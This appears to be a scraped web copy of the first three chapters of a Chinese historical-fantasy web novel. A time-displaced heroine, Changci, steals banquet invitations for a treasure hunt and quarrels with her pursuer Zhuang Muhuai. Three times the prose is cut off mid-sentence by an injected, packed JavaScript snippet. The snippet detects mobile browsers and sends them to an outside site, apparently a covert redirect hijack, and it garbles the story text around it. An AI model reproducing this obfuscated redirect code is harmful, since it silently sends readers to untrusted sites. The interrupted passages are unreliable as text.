《既来之,则杀之》 1. 第 1 章 “前面发生什么了?这么久还不放行。”长辞掀开马车帘子,探出脑袋往官道上看。 天色渐晚,通往淮南昇州城的进城官道上却人满为患。十余家马车都被堵在路上过不去,车夫和仆役都下了车前去探查路况。 城门口吵吵嚷嚷的,听着似是守城门的官兵在赶什么人。 “我下去看看。”靠在车壁的男子放下手中的书,一手撑着车辕跳下马车,朝人群中走去。 林间淅淅沥沥地下着春雨。长辞瞥了一眼马车上摆放的整整齐齐的两摞书籍,随意捞起一本翻了翻。这些书大多是历朝历代的史册典籍,是与她同行那人的至宝,平日里碰都不让她碰一下。 手指抚过一本名为《列国策》的古籍,她“啧啧”两声,将书放回原位。心里嘀咕,这种枯燥的书究竟有什么可看的? “算了,上辈子搞不懂,这辈子还是搞不懂。” 说起上辈子……长辞忽然觉得好遥远。 其实用“上辈子”这个词并不是太准确,但长辞也不知道该用什么词来形容这段离奇的经历,她只知道自己并不属于这个时空,而是来自于一千多年前的钟离国。 彼时周天子式微,各诸侯国纷争不断。 还记得当日国破城毁,敌军屠城,百姓四下逃窜,她被人追杀时身负重伤误打误撞跑进一片山林,林子深处有一座观宇,她进去之后躲了一阵,再出来时不知怎么就来到了千年后的另一方天地。 起初长辞认为自己一定是死了。 此地极有可能就是传闻中的幽冥地界。直到她被人救下,在一个名为杏林堂的医馆休养了大半年,这才慢慢接受了自己不但活着,还来到了一年多年后这个事实。 “路通了,可以进城了。” 方才那个下车的青年男子小跑着回来,微微喘着气,“刚刚城门口聚了好些流民,这才堵住了回城的路。” 长辞回过神,看向眼前之人。 此人名叫张行简,是江宁城第一大医馆杏林堂掌柜的外甥,自长辞从昏迷中醒来的半年里,他一直都在杏林堂帮忙做事。据掌柜的说,他这个外甥是都城汴京人,前几年跟家里起了些争执才投奔到他这里来的。 至于什么争执倒是没说。 马车踩着水坑,叮铃咣当地缓缓前行。 张行简一上车就拿开了坐榻上的软垫,打开下面的箱柜来回翻腾。 “你被猫上身了啊,爪子乱翻什么?” “我记得从江宁出来时备了许多干粮糕饼,这怎么也没剩多少了。”张行简将所有吃食都找了出来,说着又打开包袱把银子倒在手心数了数。 长辞眼珠一转,语气里带着几分试探,“喂,你该不会是要跟我分道扬镳吧?” 她在这里举目无亲,要非说亲人的话,眼前这个被她硬拉着拜过把子的人勉强算一个,张行简这人还不错,除了是个书痴以及做事太规矩之外,算得上是个好骗…… 咳,好相处的老实人。 “自然不会。” 张行简转过身一脸郑重其事,“君子之言,自是一诺千金。我既答应了陪你南下到大敖山寻宝,就绝不会食言。况且,此前你说藏宝之地发现了大量东周时期的古书……” 他顿了顿,双拳紧握,眼神坚定无比:“古书,我势在必得!” “这个嘛……”长辞心虚地摸摸耳垂,心说那只是我为了诓你去大敖山随口胡诌的。 其实张行简口中所谓的“东周时期”指的就是她以前生活的时代,她也是来这里之后,听他偶然说起东周列国之事,才知道后世还有这么个叫法。 长辞清了清嗓子,“不是分道扬镳那你这是在干嘛?” “哦,我打算将马车上这些吃穿用度先接济给那些流民,昇州不让他们入城,将他们赶到林子里去了。” 张行简将碎银全搜刮出来,“暮春多雨水,那些年壮的受些风寒倒无所谓,可幼子怎么受得住这样的风雨天,只怕捱不住两日……” 亏得表舅给自己安排的马车巨大,塞了好几条厚棉被。 张行简抱着被子,打着商量道:“长辞,你将这些吃食与棉被送去林子给难民,我得赶在关城门之前再买些馒头拿给他们,好歹先度过今……” “不去。” 他话还没说完,就被人一口回绝。张行简疑惑地“啊”了一声,抬起头看她。 原以为此等举手之劳长辞定不会说什么,谁知她突然就变了脸色,且还冷着脸补了句,“你也别去。” “为何?” 张行简纳闷,长辞这人吧,虽说有时候挺狠的,算不上什么大善人,但也绝不是铁石心肠,平日里与杏林堂伙计还有街坊四邻都有说有笑的,很是平易近人。 这会儿是怎么了?方才还好好的呢,正想着,就听她冷不丁问了句十分突兀的话。 “你听说过大恩几于仇,非杀不足以报答这句话吗?” 听是听过,但张行简觉得她这话未免也太奇怪了些,“我只是送他们一些吃食用度,又算不上什么大恩,怎么还扯上杀不杀的了,再说你怎么知道他们就一定会……” “假设他们就是会狼心狗肺,恩将仇报,你当如何?” 张行简虽不解,却还是答道:“那我也不能因为一句无端的揣测,就舍弃自己为人的道义啊。即便是穷凶极恶之人,若某天在深陷泥淖之时被人施以援手,也是会心存感念的吧,你为何要对他们……” 有如此大的恶意。 右手掀开一侧的车帘看向窗外,长辞语气淡淡的,像是在自语,“道义?曾经也有个人为了那所谓的道义救了一群流民,结果那群人却争着抢着地要杀他。” 张行简愣了愣,也没敢问这个“他”指的是谁,只觉得长辞提起“流民”两个字时,眼中流露出浓浓的杀意。 他小心翼翼道:“你认识城门口那些人?” “不认识。” “那你为什么……” “不为什么。” “既然不为什么,你能不能去……” “啪”地一声,长辞一掌拍在书堆上,“我说不去就不去,进城!” “好的!”张行简吓了好大一跳,护着那两摞书连连点头。 说实话,他确实有点怕长辞,尽管她大多时候总是笑眯眯的。 想起初见长辞那日,是在杏林堂后院的墙根。 当时他刚访完名川归来,见她左臂还裹着纱布,右手支了根拐杖,正一瘸一拐地教巷子里的孩童们翻墙,巷口有几个顽劣不服管教的混混爬上墙头朝她扔泥巴,长辞拐杖一扔,二话不说就追了上去,即便伤口撕裂疼得直冒汗,也将那几个“恶霸”狠狠揍了一顿。 当时他只觉得这姑娘挺狠,对别人狠对自己也狠。 后来有一次,有人来杏林堂闹事,表舅本着“和气生财”的祖训正与那歹人讲道理,谁知长辞突然窜了出来,不知打哪儿寻了个三尺长的有豁口的大刀,磨得锃亮,然后一刀朝那人砍了过去,吓得人当场就晕了,醒来之后连夜离开了江宁。 在这之后江宁人人都说,杏林堂的长辞姑娘长着一双笑眯眯的杏仁眼,瞧着乖恁恁的,实际上很是不好惹嘞。 张行简虽跟她拜了把子成了她的兄长,与她还算亲近,但三尺大刀那一幕到底是给他留下了不小的阴影。 …… 昇州城烟雨蒙蒙,路上行人络绎不绝。 直到进了一家玉器铺子,长辞心情才好转起来,摸摸这个又戴戴那个,不一会儿就恢复了平日里那副乐呵呵的样子,与店掌柜相谈甚欢。 玉饰琳琅满目,张行简正无所事事地东张西望,忽地就瞧见长辞从袖口掏出一张五十两的银票。 顿时张大嘴巴,“你、你哪里来的这么多银两?” 亏他方才还精打细算,将那几两碎银数来数去,感情大户就在眼前啊。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083233|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就甭管了。”长辞将银票往张行简怀里一塞,“拿着,住客栈用。” 说着边往外走边撑起素花纸伞,“方才掌柜的说,昇州最大的客栈叫什么福来居,呐,我们就住这福来居,你先去办,我再逛逛就来。” 不等张行简反应上来,大户长辞已经一溜烟没影了。 张行简朝她消失的方向定定看了会儿,确定人是真的走了,这才连忙扭头招呼车夫,“快!我们先去城外。” 刚起身没走两步又折了回来,“等等,我得先买上几笼馒头。” …… 建隆元年,新朝建立,宵禁制度也不似前朝严苛,未及三更不禁行人。故而即使此刻已过酉时,往来行人也都没有半分疾色。 更有甚者,还三三两两地凑在知州衙门口看热闹。 “热闹?” 长辞抱着二两刚从果铺里称的盐炒黑瓜子,见雨停了便收了伞,挤在人群中左瞧右看。 她最喜欢看热闹了。 “大婶子,这是干什么呢?”长辞用胳膊肘戳戳一旁的人,还热络地将瓜子往人手心里捏了一撮。 大婶正愁找不到人说闲话,一看眼么前这姑娘笑眯眯地怪惹人爱,也不认生,便压低了声同她道: “姑娘刚入城还不知道吧,这事儿闹了有好几日了,哎哟怪吓人的,据说是个大官无故杀人啦!这不,死者妻子都告到州衙了。” “杀人?”长辞踮起脚尖想看个清楚,奈何前面站着几个壮汉挡住了视线,她就只能从人群缝隙中瞧见那妻子的模样。 “这大官为什么要杀人?” “这个……”大婶自己也说不清楚,“好像是汴京来的什么司,来、来接管军务的,结果跟百姓起了冲突,一怒之下就把人给杀了。” “不能吧。”长辞觉得这事儿有点匪夷所思。 此前张行简给她说过,数月前先帝退位,将皇位传给了那位统领禁军的殿前都点检,这位新帝即位后忧心动乱,即刻张贴了安民告示,下令不得扰民伤民,但凡有烧杀抢掠搜刮民脂者一律处死。 这个节骨眼上,笼络民心都笼不够呢,又怎么会如此大张旗鼓地杀人? “怎么不会!”左手边一个书生打扮的男子转过身,愤愤道:“昇州天高皇帝远,这些人自然不怕。他们是上头来的,州衙又岂敢得罪。” “就是!”另一人道:“所谓一朝天子一朝臣,如今汴京又换了主,咱们这位知州大人的官位保不保得住还不一定呢,哪还有心思管这档子破事。” “嘘,小声些,你不要命啦!” “怕什么,这几十载纷争不断,汴京那把龙椅便是今天你家坐坐,明天我家坐坐,换了多少人了,有什么说不得的。” “可不么,唉,就是苦了你我这样的读书人啊。” 两人你一言我一语,长辞和大婶听得津津有味,时不时还请教一二。 “照先生这么说,这杀人案就、就这么算了?”大婶还挺好学。 “不算了还能怎么着,要怪就怪他倒霉。”书生看了一眼州衙方向,“这鸣冤鼓都敲了好几日了,你们可曾见过有人出来管这事?” 长辞和大婶配合地摇了摇头。 书生压低了声音,“这不就对了,要我说啊,这天下乌鸦一般黑,谁在上位都一样,说不准今上还不如昔日……” 接着还想再说些什么,就在这时,身后突然有男子声音传来。 “蓝衣兄台此言差矣。乱世也好,盛世也罢,杀了人就得偿命,此乃律法所定,你怎么能笃定此事就这么算了呢?” 众人顺着声音的源头看过去,只见一只冰青色的玉笛缓缓拨开人群,紧接着走出来个身着月白色锦袍的男子,玉冠束发,风姿秀逸。 蓝衣书生将其上下打量一番,视线停在他胸前镶绣的那一大朵金线祥云上,估摸着此人非富即贵,顿时气势就弱了下来。 “你、你谁啊?” 2. 第 2 章 男子还算有礼,拱了拱手,“汴京来的,今日刚到昇州。” “哦,外地来的啊。”书生脸上露出不满的神色,“那你又不知这里头的事,怎能随意驳斥别人?” “谁说我不知道了?”男子将玉笛在手里打了个转,拍拍书生肩膀漫不经心道: “要不我们打个赌怎么样?要是此案日后真的不了了之,就算你赢,但要是知州衙门管了这事儿……那就证明是我赢了。” 蓝衣书生看他一副胸有成竹的模样,咽了口唾沫,“赌、赌什么?” 男子摸着下巴略想了片刻,笑得十分善解人意,“我观你面相也不像个有财运的,索性就不赌钱了,不如……赌你的舌头怎么样?你要是输了,就让我把你的舌头割下来喂山猪。” “残暴!” 书生一惊,连连往后退了好几步,心说不知哪里来的疯子,真是晦气,身体发肤受之父母,他才不会为了面子去赌这种东西。 “我凭什么要跟你打赌!我不过是随口诌几句罢了,怎么,青天白日还不让人说话了?你未免管的也太宽了。” 男子抱臂痞笑,“诶,你这可不是随口说说啊,你这分明是煽动舆论妄议朝堂,摆明了是想参政议政啊………不错,志向倒是够远大的。” 周遭随即传来一阵哄笑。 书生脸上挂不住,但此刻多说也无益,便咬牙愤愤离去了。 大婶看热闹看得忘乎所以,回过神来才发觉手上不知何时多了一包盐炒黑瓜子,“哎,姑娘,你的……人呢?刚才还在这儿啊,咋的一眨眼的功夫就不见了。” 青石板湿哒哒的,长辞提着裙摆悄无声息地从人群中溜了出来,直到行至远处的一个窄巷口才停下。 “吓死我了,还好没被那家伙发现。” 她扒着墙探出脑袋回望了一眼,确定没被人跟上来这才松了一口气。 方才一听到那人说话的声音她就觉得不妙,好似那个在江宁跟她结过仇的瘟神,紧接着就看见了那只熟悉的玉笛,长辞深吸一口气,天杀的,还真是他! 还好她当时背对着那瘟神,又以伞遮面趁他不注意悄悄退了出来,否则要是被他得知自己也在这里,少不了又得打上一架,还得惹上一身骚。 好在近日昇州涌入了不少生面孔,他应该不会那么快找到自己。 这些人大多都是听闻了那个一千多年前的传说,同她一样要南下去大敖山寻宝的,一路从汴京下来,要想到大敖山,江宁和昇州是此行的必经之路。 “小贼,往哪儿跑呢?”这时,墙头忽然传来一道不咸不淡的调侃声。 长辞不由得打了个哆嗦,暗道一声不好!这人怕不是狗鼻子吧,这就找来了啊。 她将纸伞紧紧攥在手里,飞速思考是先打一架再逃还是直接逃走,这瘟神武力不低,不过轻功应该不在她之上。 但此刻他在上,她在下,轻功施展不开。况且往里跑是死胡同,往外是一览无余的大街,根本无法藏身。 思忖片刻,长辞面色一转,笑嘻嘻地望着墙头那人。“公子何出此言呀?人家一介弱女子,你怎么能说我是贼呢?” “弱女子?”庄慕怀想到一月前在江宁被她暗算的那个夜晚,气极反笑,“要是连你都能称得上是弱女子,这世上恐怕就没有恶人了。” “公子谬赞了。”长辞赔着笑,若无其事地往巷口挪了两步,“我想我们之间定是有什么误会……” 眼见她要逃,庄慕怀手掌一撑利落地从墙头跳了下来,堵住她的去路,笑道:“我怎么记得好像没什么误会,全是仇恨。你那晚……” “分明是要置我于死地啊。” 这人看似笑得温润,却跟他那支笛子里所藏的利器一般,十分不怀好意。长辞咬牙假笑,“哪里哪里,您对我不也是步步杀招嘛。” 庄慕怀“啧”一声,“你能不能讲讲道理,要不是你先给我酒壶里下毒,接着又偷我宴贴,我能跟你打起来吗?” “不是毒。”长辞争辩,“是春……药。” “……”庄慕怀咬牙,“有区别吗?!本质上不都让我很丢脸?” 长辞一时语塞,好像确实是这样。 不过说起偷宴贴之事,那还得从“大敖山宝物现世”的传言说起。 约莫一个月前,江宁城忽然来了不少人,朝廷的,江湖的,还有商贾和世家子弟,各方人士云集。长辞一打听才知道,这些人无一例外,全都拿着一份归云阁的受邀宴贴,准备南下前往归云阁,来江宁也只是路过,暂时落个脚。 原本这归云阁的宴贴也没什么稀奇的,左右不过就是聚在一起比比武拉拉帮派,和左邻右舍搞搞同盟一类。 而此事稀罕就稀罕在—— 宴贴发出去后不久,大敖山发生了一次巨大地动,据说将千年前东周时期钟离国王陵的稀世珍宝全都震了出来,言之凿凿,轰动汴京,甚至连藏宝图都有人绘制出来,要卖三百两一张。 而进入这大敖山的唯一道路,便在归云阁之中。 正因如此,归云阁的宴贴才一下子变得炙手可热了起来,各地抬价哄抢,别说是人,就连路过的狗都想讨要一张,好去大敖山开开眼。 长辞也不例外。当然她不是去开眼的,她是要借宝物之力回到千年前属于自己的那个时代…… 然后将那些背叛钟离王的人全部都杀了! “怎么不说话?”庄慕怀伸出一根手指在长辞眼前晃了晃,“哑巴了?” 长辞回过神来,白了他一眼。 要说自己也真是倒霉,当日江宁来了那么多人,偷谁的宴贴不好,偏偏偷到了这个瘟神头上,现在好了,这人跟个牛皮膏药似的甩也甩不掉。 不过这也不怪长辞,她哪能知道此人会如此难缠。当时那些有宴贴的主看着各个都不好惹,不是长得五大三粗就是身后仆役成群,要不就是不好下手,要不就是丑的让长辞下不去手。 唯有这瘟神独坐红香坊对酒当歌,文文弱弱的,手无缚鸡之力,看着甚好欺负。 “我说你下什么药不好,偏偏要下媚药,知不知道本公子差一点就贞洁不保了?”庄慕怀似乎对下药之事一直耿耿于怀。 “你还在乎这个?”长辞上下打量他,“你不是自己去的红香坊吗?再说你都去那种地方了,现在又跑来说贞洁之事,是不是显得有点……” 又当又立。 不待庄慕怀回话,长辞又道:“再说了,我当时也是替你着想,下毒吧,怕你落下病根,下点别的吧,我又没什么经验,怕掌握不好计量把你吃死了,官府会来找我麻烦。” “是吗?”庄慕怀气笑了,“合着姑娘宅心仁厚,我不仅不该怪你还应该谢谢你啊。” “那倒不必。”长辞愧不敢当,“主要我当时也是缺钱,只买得起媚药,那玩意儿原是给家猪催情配种的,比其他药要便宜一些。” “……”好好好,我忍,“那你偷东西就偷东西,为何非要将我绑起来?” “我怕你媚药发作,兽性大发,对我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083234|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”长辞紧了紧衣领,“对我行什么不轨之事。” “我?对你?!”庄慕怀鬓角突突直跳,“放心,我就是被药死,也绝对不会碰你一根手指。再说就你那个惊人的药量,我当时早就脱力了,哪里还能把你怎么样。” “这谁能保证,你当时眼神都yin乱了!” “那你也不至于将我绑了扔给红香坊那群女人吧……” 庄慕怀咬牙切齿,话音还没落,就听那女人道:“都怪我面慈心软,不忍心看你自生自灭,这才好心将你送去了姑娘们的闺房,好让她们为你排淤解毒。” “……”苍天可鉴,面慈和心软到底哪个词跟她搭边了?! 庄慕怀气沉丹田,默念了一遍《无量寿经》,告诫自己不要年纪轻轻就被这妖孽气死。 长辞往身旁偷瞄了一眼,见这瘟神正调整气息无暇其它,瞅准时机准备溜之大吉。 谁知脚尖刚一离地,还没来得及飞呢,就被人一把拽住后领给揪了回来。 “以为我不知道你要干嘛?”庄慕怀冷笑,“激我?想让我恼羞成怒分了心,你好逃走是吧?” “……”这死瘟神,恼羞成怒竟然是装的。 看他又恢复了之前那副漫不经心的死样子,长辞举起一只手,“行行行,我投降,我不跑了,你说怎么办吧?” 庄慕怀捻捻手指显然不信,“你之前被我抓住那三次好像都是这么说的,结果不还是溜走了。” 长辞不置可否。 “我看还是见官吧。” “不是,你来真的啊!”长辞瞬间不淡定了,“你后来不是故意划伤自己胳膊恢复神智,从红香坊囫囵个出来了吗?” 又没失身,而且从红香坊冲出来之后,劈头盖脸就朝她砍来,差点没要了她的小命。 “我这次是真不逃了,我要是骗你就……”长辞一本正经道:“就把我舌头割下来喂山猪怎么样?” “我要你舌头干什么?”庄慕怀感觉这女人莫名其妙。 “我就是觉得你好像还蛮喜欢别人的舌头……” “……” “好了好了,宴贴还你还不行嘛。”长辞态度一转,笑得谄媚,“就别劳烦官府了。还有治伤的汤药费,您要不开个价?” 这人一笑眼睛弯弯的,跟只乖巧温顺的花猫似的,一般人还真容易就被她这副人畜无害的外表迷惑住了。 但庄慕怀哪能啊,只听他叹道,“你既说自己面慈心软,那我们还是去州衙吧,否则叫别人瞧见了,会说我欺负一个‘弱’女子。” “不不不,不会的。”长辞头摇得像拨浪鼓。其实她倒不是怕官府,只是觉得多一事不如少一事,万一官府赏她一张通缉令,那想进归云阁办事就更难了。 正要说话,可就在这时—— 她忽然心口一滞,嘴里发不出任何声来,紧接着脚底发虚,眼前的景色逐渐变得模糊。 完了!长辞脸色一白,心道这也太不凑巧了吧,又来! “你又在捣什么鬼?”庄慕怀见状以为她又在打什么鬼主意,正作壁上观,谁知眼前那人毫无征兆地就朝地面直直栽了下去。 还好他眼疾手快给接住了,不然这小脑瓜子可就直接磕到石头尖了。 “喂,你没事吧。”庄慕怀晃了晃怀里那人,见她双眼紧闭不似装的,忙探了探鼻息,这一探才发现—— 原来只是睡着了。 “……”心情好复杂。 这女人真是奇了,大街上都能睡着。 3. 第 3 章 近日雨连天,停了个把时辰的雨此刻又啪嗒啪嗒地下了起来,天色也黑得早,福来居门口早已挂起了大红灯笼。 楼堂内点了好多盏灯,亮堂堂的与白昼无异。 二楼一间上房里传来绵长的呼吸声。长辞约莫睡了半个时辰有余,神思才渐渐回转,醒来时张行简正在屋里来回踱步,急得团团转。 见她坐直了身子,张行简忙走到床前问,“这是怎么了,难道是嗜睡症又发作了?” 长辞抻了抻脖子,点头道:“别提了,差点被这该死的嗜睡症害死,你不知道,我又遇见那瘟神了。” “啊?”张行简面露忧色,“他没把你怎么样吧?”这“瘟神”他也是知晓的,被长辞偷了宴贴还坑了一把,人这次肯定是来寻仇的。 当日他知晓此事时便觉得极为不妥,所谓君子不饮盗泉之水,人怎能因自己的私欲而去盗取别人的宴贴呢,无奈自己人微言轻,长辞根本没听。 “对了,我是怎么回来的?” “是位公子,说是见你在前面巷口晕倒了,恰逢又下起了雨,便打算先将你送来客栈再去找郎中,还好走到客栈门口跟我碰上了,我就估摸着是你嗜睡症犯了,便拒了他要请郎中的好意。” 长辞不免有些奇怪,那瘟神竟然没带她去衙门? “你干什么去?” 长辞穿上鞋,边开门边道:“当然是打探大敖山宝物的消息了,不然你以为我为何要住福来居?” 能住这里的自然都是些等闲之辈,要是能探到什么有用的消息肯定是好的。 此时夜色已深,但一楼堂内仍旧座无虚席,吵吵闹闹的很是热闹。长辞倚在房门口的红漆柱子上往楼下扫视了一圈,没头没尾地说了句—— “我打算把宴贴还给那瘟神。” 张行简听罢眼神一亮,忙不迭道:“是是是,是该还给原主,偷终归是偷,实非君子所为,你能想通就好。” 苍天不负有心人,看来他这么多日以来的谆谆教导终是起了作用,“这么做就对了嘛!出门在外最讲究的就是言忠信,行笃敬,你就别总是打打杀杀,坑蒙拐骗的了。” 然而长辞压根就没注意听他在说什么。 只手托着下巴想,这瘟神实在太难缠了,照这样下去她还真是耗不起,不如认个错把东西还他,从此大路朝天各走一边,谁也别碍谁的眼。 据她入城后观察,来昇州落脚的人比起江宁只多不少,也就是说,偷宴贴这事可选择的余地也更大。这次她一定要吸取教训,定要找个武功不如她、跑得也没她快的。 “事不宜迟,我认为我们应该马上去找那位瘟公子,把宴贴还给人家。”张行简十分担心不早些归还东西长辞很可能就会反悔。 “对,还他。不就是个破宴贴吗?”长辞盯着楼下那几个正在互相吹嘘的大汉若有所思,“这次我偷两个,你的那份也就有了。” “?” 张行简以为自己听错了,认认真真又问了一遍。在确保了长辞的确是自己理解的那个意思之后,忍不住提高音量。 “什么?!你还要去偷!” “嘘,小点声。”这时楼下有人朝他们这边看了两眼,长辞迅速拉着张行简躲到了柱子后面。 张行简小声重复,“什么?!你还要去偷?” 长辞琢磨着要不把他敲晕得了,正想着呢,就见有人腰间别了根玉笛,不紧不慢地从长廊尽头走过来了,神态懒散,白衣似雪,大有飘飘欲仙之势。 “呦,小贼,醒了啊。” 张行简看清来人,忙对长辞道:“这位就是救你的那个公子。”说罢又笑着朝庄慕怀拱手打招呼,“恩公,又见面了。” 长辞以手遮面,凑近他低语,“恩什么公,这就是那个瘟神!” “什么?”张行简惊得嘴巴能塞下只鸡蛋,一时也不知是该惶恐还是该尴尬。想说点什么吧,又见瘟公子后面还有人跟来,也不太好说的太直白。 那人是个十四五岁的少年,身着绿色春衫,高高束着发,腰间还配了把精致的短剑,眼尾微扬,脚步轻快,瞧着心情很不错的样子。 长辞歪头朝庄慕怀身后看了眼,故意学他的语气,“呦,瘟神,还带个小跟班啊?” 庄慕怀对于“瘟神”这个称呼也不气,依旧面带笑容,“这次不跑了?” 长辞既然决定了还他宴贴,自然就不再跑了。“我怎么记得你好像说过,自己是在什么大户人家当侍卫?” 说着上下打量了那少年一番,“果真是大户人家,你家主人给侍卫还配随从呢?” “喂,你说谁是随从?!”那少年皱眉反驳。 “哦。看着确实不像,瞧你这身打扮……” 少年昂着头抖落了两下腰间的蟠璃纹玉璧,以为她要改口,却听长辞道:“倒像是个书僮。” “……” 庄慕怀“噗嗤”一声笑了出来,“真没骗你,我确实是个侍卫。”说着伸手拖住少年下巴,“瞧,这位就是我家少爷。” “没错!”少年双手叉腰。 “哪家啊?”长辞抱臂,看戏似的看着两人。 “天下第一山庄听过没有?”少年神气。 “没。” “我们山庄向来低调,你没听过也正常,总之我就是天下第一山庄的少庄主,他是天下第一山庄少庄主的贴身侍卫,听明白了吗?” 去,鬼才信! 张行简站在少年身旁,略有疑惑,“可方才在客栈门口,我分明听见小公子将你的侍卫叫哥呢?” “这个,这个嘛……”少年使了个眼色,只听庄慕怀慢悠悠道:“我叫他少爷,他叫我哥,我们俩各论各的。” “……” 不知道张行简信没信,反正长辞是一个字都不信,不过他们爱是谁就是谁吧,她才不关心他的身份,只想尽快与他划清界限。 想清楚了之后,长辞也没拆穿这俩骗子,而是换了副面孔,笑嘻嘻道: “公子说是就是,我一个弱女子哪能非议您呀,此事先不论,就说说之前那个事吧,那事确实是我不地道,如今我知道错了,这就将宴贴还给您,然后再赔付十两汤药费如何?” 谁知庄慕怀还没开口,倒是一旁的张行简与少年异口同声:“十两?!” “此事虽说是你不对,但真的要给这么多吗?”张行简附在长辞耳边低语。 与此同时另一边,“就十两啊?!打发叫花子呢!” 两个旁观者对视一眼,又齐齐将目光转向庄慕怀。“哥,你是受害者,你来说。”少年先道。 紧接着张行简又蛮不好意思地说,“瘟公子,十两是不是有点多了……” 然而庄慕怀压根就没去关心这个“十两”的问题,而是皱着眉问长辞,“为什么?” “什么为什么?” “为什么不要宴贴了?” “嗯?”难道是话头转的太快了,他还没反应上来? “我是说你为什么突然又不要宴贴了?不是很想去大敖山吗?” 长辞顿了顿,“哇!你这人还真是够贱,偷了你一张宴贴你追着我从江宁跑到昇州,还要抓我去见官,现在我知错就改打算物归原主了,你反倒还不乐意了。” 别是脑子有什么毛病吧…… 说着狐疑地往旁边瞄了一眼,“别告诉我,你追着我只是为了好玩?” 庄慕怀心里嘀咕,是挺好玩的。 面上却端着没笑,“你口口声声说知道错了,难道这就是你认错的态度?” “不是,我刚还提了赔钱的事……” “提钱就俗了。” “那要不您说说怎么办呗?” “听闻福来居菜色一绝,不如今夜你请客,摆一桌谢罪宴?”庄慕怀指向二楼雅间,做了个“请”的姿势。 “……”这不还是钱的事儿吗!行吧,吃就吃,吃完马上分道扬镳。 几人进了雅间分别落座于两边,此处视野极佳,既能看到灯火通明的大街,也能顺着楼梯看到一楼人来人往的中堂。 点完菜,店里的伙计一走,空气突然就安静了下来,张行简咳咳两声,拿起茶壶给每人斟上一盏,有意想缓和缓和气氛。 “此前的事的确是舍妹不妥,咳,我已然厉声教导过了。不过话说回来,诸位萍水相逢也算是一场缘分,在下张行简,汴京人士,承蒙祖上积德家中颇有些家业,往事不论,日后二位若有什么帮得上忙的地方,务必要来登门,行简自当鼎力相助。” 长辞看着张行简虚假客套,眼神示意他,你可快别说了,你是个连十两都付不起的穷鬼,那俩人怎么可能会信你有什么家业。 张行简似乎并没接收到她的眼神,而是继续寒暄,“不如你们三位也互相认识一下?” 哦。 “长辞。” “庄慕怀。” 接着轮到那个少年。只见他“哗”一下站起身子,双手撑在木桌上,一脚踩上凳子,“吾乃天下第一山庄少庄主,汴京第一富贾,汴河大街榆林巷第一剑客——江入年。” 这是要干什么,相亲啊?!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083235|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 言简意赅介绍完自己的那两位忍不住抬头看他,直到江入年被看得脸上有些挂不住了,才坐下来道:“好吧,我叫江入年。” 长辞没忍住打趣他,“榆林巷?够严谨啊你,那巷子该不会就你一个习武的吧?” “谁说的?!”茶盏往往桌上重重一搁,江入年不服气,“敢比试吗?” 他是这几日才与庄慕怀汇合的,所以压根就不知道庄慕怀与长辞之前在江宁的恩怨,自然也就不知道长辞善武之事,只以为她就是个会点三脚猫功夫的小贼而已。 “不敢。”长辞忙给他碗里夹了只大青虾,“就我这两下子花拳绣腿,哪敢跟第一剑客比武。” 江入年十分受用地接过她投喂的虾,一脸正色地纠正,“低调点,是榆林巷第一剑客。” “好的。” 长辞在嘴里塞了块饼子嚼啊嚼,“那个,装不坏,吃完饭咱们这事儿可就一笔揭过了啊,你以后不能再找我麻烦。” 都说请神容易送神难,希望他以后千万别再出现了。 庄慕怀放下筷子微笑,“我叫庄、慕、怀。” “可我觉得装不坏这个名字……似乎和你相配更甚。” 深吸了一口气,庄慕怀还想再说些什么,却被楼下突如其来的争执声给打断了,四人齐刷刷看过去,见中堂几桌食客都有些剑拔弩张,一副要打起来的架势。 长辞生平最爱看热闹,忙放下饼子,喜滋滋地趴在栏杆上往下瞧。 此刻正在说话的,是个肩宽背厚眼角带疤的大汉。 “就你这小竹竿?也不撒泡尿照照,连归云阁的宴贴都没有还想去赴宴?哈哈哈说出去真叫人笑掉大牙。” 被称作竹竿那人“呸”地一口啐在大汉脚下,“你不就是走狗屎运得了张破宴贴,有什么好得意的。再说那归云阁又不是什么高不可攀的圣地,要不是恰好大敖山宝物现世,谁愿意去那种鸟不拉屎的地方,大伙儿说是不是啊?” “就是就是!” “还真当自己是碟子是菜了,嚣张个什么劲,没有宴贴怎么了,知道本公子是谁吗?本公子乃淮南路提点刑狱公事的长子!我要真到了山门口,他归云阁敢不让我进?” “谁敢!我看谁敢?”竹竿的小弟们在一旁激情附和。 长辞默默退回来,从怀里掏出一个大红色的宴贴递到庄慕怀跟前,“看来没宴贴的人还真不少,你可收好了别让人发现,楼下那群人好凶啊。” 庄慕怀被逗笑了,睨了楼下一眼,“你真是谦虚了。他们再凶哪凶得过你啊……” 